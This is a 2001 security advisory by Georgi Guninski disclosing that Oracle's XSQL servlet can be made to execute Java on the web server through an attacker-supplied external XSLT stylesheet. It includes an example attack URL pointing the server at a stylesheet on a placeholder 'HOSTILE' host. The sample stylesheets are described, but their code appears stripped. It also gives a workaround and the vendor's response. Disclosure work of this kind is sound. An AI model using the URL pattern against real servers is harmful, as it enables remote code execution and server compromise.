[ SOURCE: http://www.secureroot.com/security/advisories/9790496510.html ] Georgi Guninski security advisory #34, 2001 Oracle XSQL servlet and xml-stylesheet allow executing java on the web server Systems affected: Oracle XSQL servlet, installed by default Oracle 8.1.7 Windows 2000installation, probably other versions/platforms are affected because the servlet is written in java Risk: High Date: 9 January 2001 Legal Notice: This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute it unmodified. You may not modify it and distribute it or distribute parts of it without the author's written permission. Disclaimer: The opinions expressed in this advisory and program are my own and not of any company. The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this advisory or program. Georgi Guninski bears no responsibility for content or misuse of this advisory or program or any derivatives thereof. Description: To get an idea for the XSQL servlet I suggest reading: http://technet.oracle.com/tech/xml/xsql_servlet/htdocs/relnotes.htm The XSQL servlet allows specifying external xslt stylesheets which may reside anywhere. The problem is it is possible to execute java on the web server in the xslt stylesheet. Executing java on the web server may lead to compromising it. Details: Oracle allows extensions to the built in xslt functions using the xmlns "http://www.oracle.com/XSL/Transform/java/". Using this namespace it is possible to instantiate java objects and execute their methods. Sample xslt stylesheets: --ora.xsl---string function, almost no effect---------------

Written by Georgi Guninski

Java demo.

------------------------------------------------------------ --ora2.xsl----creates a file -------------------------------

Written by Georgi Guninski

File "c:\winnt\georgigjava" created=

----------------------------------------------------------- Assuming that http://XSQL-SERVER/EXISTING.xsql exists and is configured (there are installed .xsql demos in /xsql/java/demo/), the following URL: ---------------------------------------------------------------------- http://XSQL-SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl ---------------------------------------------------------------------- will execute java from http://HOSTILE/ora.xsl (see example stylesheets above) on XSQL-SERVER. This work on default Oracle 8.1.7 install, I only needed to adjust the database name in the servlet config file. Workaround: Add 'allow-client-style="no"' on the document element of every xsql page. I think this should be the default behavior. Vendor status: Oracle was contacted on 4 January 2001. They responded very promptly and shall issue a patch "over the next few days". Regards, Georgi Guninski http://www.guninski.com